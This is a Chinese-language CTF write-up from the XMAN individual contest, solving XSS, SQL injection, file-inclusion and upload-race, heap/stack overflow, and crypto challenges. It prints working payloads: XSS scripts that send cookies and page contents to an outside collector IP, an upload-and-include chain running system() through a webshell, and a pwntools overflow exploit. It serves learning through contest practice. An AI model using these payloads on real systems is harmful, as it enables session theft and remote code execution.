[XMAN]个人排位赛


XSS1

经过测试发现 :
单引号替换成了下划线
#!/usr/bin/env python
# encoding: utf-8

import hashlib
import random
import sys
import string

def m(content):
    return hashlib.md5(content).hexdigest()

def main():
    start = sys.argv[1]
    while True:
        content = ""
        for i in range(0x08):
            content += random.choice(string.letters)
        print "[-] [%s]" % (content)
        if m(content).startswith(start):
            print "[+] Found : [%s]" % (content)
            break


if __name__ == "__main__":
    main()
// 根据大佬的ppt中的绕过 csp 的 payload , 可以直接利用
<script>
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//123.207.40.26:65534/?c=" + document.cookie);
document.head.appendChild(n0t);
</script>
image.png

admin=xman{eVEn_CSP_you_G37_mY_C00K1e}


Login

先扫一波目录
SourceLeakHacker ›› python SourceLeakHacker.py http://202.112.51.217:8099/ 32 32
 [ 200 ]  Checking : http://202.112.51.217:8099/index.php
 [ 200 ]  Checking : http://202.112.51.217:8099/
 [ 403 ]  Checking : http://202.112.51.217:8099/.htaccess
 [ 403 ]  Checking : http://202.112.51.217:8099/.hta
 [ 403 ]  Checking : http://202.112.51.217:8099/.htpasswd
 [ 200 ]  Checking : http://202.112.51.217:8099/css/
 [ 200 ]  Checking : http://202.112.51.217:8099/fonts/
 [ 403 ]  Checking : http://202.112.51.217:8099/icons/
 [ 200 ]  Checking : http://202.112.51.217:8099/index.php/
 [ 200 ]  Checking : http://202.112.51.217:8099/js/
 [ 403 ]  Checking : http://202.112.51.217:8099/server-status/
image.png

查看源码 , 发现如下信息 :

if ($result!=null&&$result->rowCount()==1){
    echo $flag;
}

我们只需要控制 sql 语句让结果集不为空而且长度大于 0 即可

payload 为 : username=admin'%23&password=xman
XMAN{B4by_SqL1_w1th_L1mit}

protocol

据大佬说用 AWVS 可以扫出心脏滴血漏洞
在 AWVS 的漏洞报告里面就有 leak 出的内存数据
leak出来的内存中就有类似 post 数据的用户密码
然后直接登录就可以得到 flag

Misc150

首先把 gif 图片分帧
然后写脚本跑一下即可得到二进制的字符串

#!/usr/bin/env python
# encoding: utf-8

from PIL import Image

Im = Image.new("L", (400, 400))

def average(im):
    height = im.size[0]
    width = im.size[1]
    s = 0
    for i in range(height):
        for j in range(width):
            s += im.getpixel((i,j))[0]
    result = s / (height * width)
    print "[+] [%d]" % (result)
    return result

result = ""
for i in range(304):
    filename = "IMG%05d.bmp" % (i)
    im = Image.open(filename)
    if average(im) > 127:
        result += "0"
    else:
        result += "1"
    print result

Im.save("result.bmp")
image.png

baby web

image.png

存在文件包含漏洞 , 可以使用 php://filter 结合 base64-encode 的 converter 在文件包含之前将文件内容过滤一遍
这样在包含 php 文件的时候 base64 就已经不是符合 php 语法规范的了
在 php 解析的时候会将这些内容作为 dataStatus 的内容直接显示出来

image.png

下面是读取到的源码 :

// index.php
<?php
    require("header.php");
    $page="";
    if (isset($_GET['page']))
    {
        $page=strtolower($_GET['page']);
        $page=str_replace("#", "", $page);
        $page=str_replace("'", "", $page);
        $page=$page.".php";
    }
    else
        $page="main.php";
    include($page);
?>

// upload
<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
    if($name!=="")
    {
        $name1=substr($name,-4);
        if(($name1!==".gif") and ($name1!==".jpg"))
        {
            echo "hehe";
            echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
            exit;
        }
        if($type!=="image/jpeg"&&$type!=="image/gif")
        {
            //echo mime_content_type($tmpName);
            echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
            exit;
        }
        if(is_uploaded_file($tmpName)){
            $time=time();
            $rootpath='uploads/'.$time.$name1;
            if(!move_uploaded_file($tmpName,$rootpath)){
                echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
                exit;
            }
            else{
                sleep(2);               
                if ($type=='image/jpeg')
                {
                    $im = @imagecreatefromjpeg($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagejpeg($im,$new_rootpath);
                        imagedestroy($im);
                    }
                }
                else if ($type=='image/gif')
                {
                    $im = @imagecreatefromgif($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagegif($im,$new_rootpath);
                        imagedestroy($im);
                    }
                }
                unlink($rootpath);
            }
        }
        echo "图片ID:".$time;
    }
}
catch(Exception $e)
{
    echo "ERROR";
}
//
 ?>
 </html>
根据对 upload.php 的审计

首先前面两个对文件的后缀名和文件类型判断的条件都可以很容易就绕过
因为他们事实上获取到的是客户端可控的数据 , 只需要在客户端修改发送的 http 请求包即可

可以发现这里存在一个非常可疑的一点 : 
在移动 tmp 文件到 uploads 目录下的之后 , 调用了 sleep 函数睡了两秒
这里在这两秒钟之内这个文件是存在于服务器上的


if(is_uploaded_file($tmpName)){
    $time=time();
    $rootpath='uploads/'.$time.$name1;
    if(!move_uploaded_file($tmpName,$rootpath)){
        echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
        exit;
    }
    else{
        sleep(2);               
        if ($type=='image/jpeg')
        {
            $im = @imagecreatefromjpeg($rootpath);
            if(!$im){
              $im = imagecreatetruecolor(150, 30);
              $bg = imagecolorallocate($im, 255, 255, 255);
              $text_color = imagecolorallocate($im, 0, 0, 255);
              imagefilledrectangle($im, 0, 0, 150, 30, $bg);
              imagestring($im, 3, 5, 5, "Error loading image", $text_color);
            } else {
                $time=time();
                $new_rootpath='uploads/'.$time.$name1;
                imagejpeg($im,$new_rootpath);
                imagedestroy($im);
            }
        }
        else if ($type=='image/gif')
        {
            $im = @imagecreatefromgif($rootpath);
            if(!$im){
              $im = imagecreatetruecolor(150, 30);
              $bg = imagecolorallocate($im, 255, 255, 255);
              $text_color = imagecolorallocate($im, 0, 0, 255);
              imagefilledrectangle($im, 0, 0, 150, 30, $bg);
              imagestring($im, 3, 5, 5, "Error loading image", $text_color);
            } else {
                $time=time();
                $new_rootpath='uploads/'.$time.$name1;
                imagegif($im,$new_rootpath);
                imagedestroy($im);
            }
        }
        unlink($rootpath);
    }
}
只要我们可以在这两秒之内拿到文件名即可将其包含 , 触发文件包含漏洞
现在的问题在于如何获得文件名
经过扫描目录发现这里 uploads 目录是可以列目录的
这个是因为管理员在配置 apache 的时候 , apache 的虚拟主机的配置文件没有配置正确
在 Linux 下 , 这个配置文件在 : /etc/apache2/apache2.conf
具体内容如下 : 
image.png
<Directory /var/www/>
        Options FollowSymLinks Indexes
        AllowOverride ALL
        Require all granted
</Directory>

参考资料 : http://www.ducea.com/2006/06/26/apache-tips-tricks-disable-directory-indexes/

image.png
image.png

然后我们就可以写脚本去获取最新产生的文件名
脚本如下 :

#!/usr/bin/env python
# encoding: utf-8

import requests

url = "http://202.112.51.217:8199/uploads/"

response = requests.get(url)

content = response.content

files = []
for line in content.split("\n"):
    if "href=" in line:
        files.append(line.split("href=\"")[1].split("\">")[0])

print files[-1]

获取到了之后再去使用文件包含漏洞去包含这个文件即可
但是这里有一个需要注意的一点 :
index.php 的 page 参数后添加 .php
因此需要使用 php 的 zip 协议去包含这个文件
关于 zip 协议可以参考 :

http://php.net/manual/en/wrappers.compression.php

image.png

所以我们可以先新建一个 php 文件 , 写入一句话木马
然后将其打包成压缩包 , 再将其后缀名修改成 jpg 或者 gif
最后上传
然后在包含这个文件的时候 , page 参数添加上后面的 .php 就会变成 :

zip://uploads/filename.jpg#webshell.php

这里放出利用脚本 :

upload.py

#!/usr/bin/env python
# encoding: utf-8

import requests

url = "http://202.112.51.217:8199/upload.php"

data = {
    'title': 'admin',
    'url': 'admin'
}

files = {'pic': ('xman.jpg', open("filename.zip").read(), 'image/jpeg')}
# 这里使用 requests 库来上传文件有几种方式
# 这种方式可以控制文件名以及文件类型
# 可以用来绕过基于客户端的文件名和文件类型检测

response = requests.post(url, data=data, files=files)
content = response.content
print content

include.py

#!/usr/bin/env python
# encoding: utf-8

import requests

url = "http://202.112.51.217:8199/uploads/"

response = requests.get(url)

content = response.content

files = []
for line in content.split("\n"):
    if "href=" in line:
        files.append(line.split("href=\"")[1].split("\">")[0])

filename = files[-1]
url = "http://202.112.51.217:8199/index.php?page=php://filter/read=convert.base64-decode/resource=phar://uploads/"+filename+"/b&c=system('head *');"
print requests.get(url).content
total 56
drwxr-xr-x 14 root root 4096 Aug  8 02:41 .
drwxr-xr-x  8 root root 4096 Aug  7 15:30 ..
drwxrwxr-x  2 root root 4096 Aug  8 02:41 css
drwxrwxr-x  2 root root 4096 Aug  8 02:41 fonts
-rw-rw-r--  1 root root 1688 Aug  6 02:45 header.php
-rw-rw-r--  1 root root  265 Aug  7 15:52 index.php
drwxrwxr-x  2 root root 4096 Aug  8 02:41 js
-rw-rw-r--  1 root root 2714 Mar 20  2016 main.php
-rw-rw-r--  1 root root  470 Apr  1  2016 show.php
-rw-rw-r--  1 root root 2377 Mar 20  2016 submit.php
-rw-rw-r--  1 root root 2205 Aug  8 01:47 upload.php
drwxrwxrwx  2 root root 4096 Aug  8 04:04 uploads
-rw-rw-r--  1 root root  707 Mar 20  2016 view.php
-rw-rw-r--  1 root root   44 Aug  7 14:36 xxxxxxxxxasdasf_flag.php

<?php
    $flag="XMAN{Rush_Rush_oo000}";
?>
XMAN{Rush_Rush_oo000}

MISC 100

1. zip伪加密
2. 得到一个 png , binwalk -e 直接解压 , 然后直接查看解压出的数据即可得到 flag
XMAN{Png_HIde_sEcret}

Xor

这个题目使用了一种比较笨的方法做出来了
思路是下断点到最后判断用户输入是否正确的 if 语句
动态调试 , 分别得到 eax 的两个值 , 将这两个值异或之后就得到了flag的一个字节
然后直接一个字节一个字节动态调试就可以还原出整个 flag
我觉得整个题目应该是可以直接使用 idc 的脚本
或者 ida-python 的脚本直接就可以跑出来
如果有哪位好心的大佬会的话求告知 , 感谢 orz

XMAN{X0r_iS_Easy_Hahaha}
image.png
image.png

XSS2 :

<script>
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//123.207.40.26:65534/?c="+document.getElementsByTagName('html')[0].innerHTML);
document.head.appendChild(n0t);</script>
<script>
function get(){
content=document.getElementById("wangyihang").innerHTML;
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//123.207.40.26:65534/?c="+content);
document.head.appendChild(n0t);
}
</script>
<iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
<script>
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//123.207.40.26:65534/?c="+document.getElementsByTagName('html')[0].innerHTML);
document.head.appendChild(n0t);</script>
<script>
function get(){
i=document.frames["wangyihang"];
console.log(i.document.innerHTML);
}
</script>
<iframe src="http://baidu.com/" onload="get()" name="wangyihang"></iframe>
<script>
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//123.207.40.26:65534/?c="+document.body);
document.head.appendChild(n0t);</script>

document.getElementsByTagName('html')[0].innerHTML;

<script>
function get(){
ifr=document.getElementById("wangyihang").contentWindow
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//123.207.40.26:65534/?c="+escape(ifr.document.getElementsByTagName("html")[0].innerHTML));
document.head.appendChild(n0t);
}</script>
<iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
<script>
function get(){
ifr=document.getElementById("wangyihang").contentWindow
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//123.207.40.26:65534/?d="+escape(window.top.document.cookie));
document.head.appendChild(n0t);
}</script>
<iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
<script>
function get(){
ifr=document.getElementById("wangyihang").contentWindow
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//123.207.40.26:65534/?d="+escape(window.top.document.cookie));
document.head.appendChild(n0t);
}</script>
<iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
<script>
window.location="http://123.207.40.26:65534/?f=";
function get(){
ifr=document.getElementById("wangyihang").contentWindow
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//123.207.40.26:65534/?c="+escape(ifr.document.getElementsByTagName("html")[0].innerHTML)+"&d="+ifr.document.cookie);
document.head.appendChild(n0t);
}</script>
<iframe src="admin.php" onload="get()" id="wangyihang"></iframe>
<iframe src="javascript:i=document.createElement('iframe');i.src='admin.php';i['onlo'+'ad']=function(){parent.window['locat'+'ion'].href='http://123.207.40.26:65534/?ddd='+escape(this.contentWindow.document.cookie)};document.body.append(i)"</iframe>
<iframe src=javascript:i=document.createElement("iframe");i.src="admin.php";i["onlo"+"ad"]=function(){parent.window["locat"+"ion"].href="http://123.207.40.26:65534/?ddd="+escape(this.contentWindow.document.cookie)};document.body.append(i)>
</iframe>
<script src="./js/jquery.min.js"></script>
<script>
    $.get("http://202.112.51.217:43426/flag.php", function(data){
        window.location.href="http://123.207.40.26:65534/?="+data;
    })
</script>

尝试了好多 payload 结果发现死活不能得到管理员的 cookie , 最后根据 hint 得到 存在 flag.php
想到管理员如果去访问 flag.php 是可以直接访问得到 flag 的
所以最终的 payload 是先引入 jquery , 然后直接使用 get 方法让管理员去访问 flag.php 然后再将得到的结果发送到 xss 平台即可

image.png
xman{OH_Y0u_G37_mY_secreT_F14G!}

维吉尼亚

直接用一个很叼的在线网站去解 , 连秘钥都不需要
暂时不太清楚这个网站的原理 , 简直神奇

www.guballa.de

image.png
XMAN{CLASSICCRYPTOGRAPHYISEASYTOBREAK}

easy heap

#!/usr/bin/env python

from pwn import *
offset = 56

# p = process('./easyheap')
p = remote('202.112.51.217' , 24598)

p.recvuntil('name?\n')
p.sendline('1')
p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('Name:\n')
p.sendline('1')
p.recvuntil('choice : ')
p.sendline('3')
p.recvuntil('info:\n')
address = 0x400766
payload = 'a' * offset + p64(address)
p.sendline(payload)
p.recvuntil('choice : ')
p.sendline('2')
p.interactive()
image.png

藏了一个 /bin/sh 直接栈溢出覆盖到返回地址即可

XMAN{cie3rejo0muash0phieno8ohThipae6x}

木头人 :

23731263
111628163518122316391715262121

23 x
73 m
12 a
63 n

11 q
16 y
28 k
16 y
35 b
18 i
12 w
23 d
16 y
39 .
17 u
15 t
26 h
21 a
21 a

xman{qykybiwdy.uthaa} ???
有个比较坑的一点是 { } 这两个字符在键盘坐标中的横坐标是两位数
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 211,948评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,371评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,490评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,521评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,627评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,842评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,997评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,741评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,203评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,534评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,673评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,339评论 4 330
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,955评论 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,770评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,000评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,394评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,562评论 2 349

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,633评论 18 139
  • 0x01 前言 讲道理,之前每次遇到xss的题就很发憷,因为不会呀,这次XMAN个人排位赛的两道xss赛题让我对于...
    Pino_HD阅读 1,392评论 0 2
  • easyheap: 本题是简单的堆溢出,我们先将文件运行一下,看下程序想要执行的具体功能是什么。 可以看到该程序是...
    yahoo0o0阅读 484评论 1 2
  • php.ini设置,上传大文件: post_max_size = 128Mupload_max_filesize ...
    bycall阅读 6,743评论 3 64
  • 姓名:叶银芬 公司:宁波慈星股份有限公司 《六项精进》289期学员 反省二组 【知~学习】 《六项精进》大纲...
    Fanny_c554阅读 234评论 0 0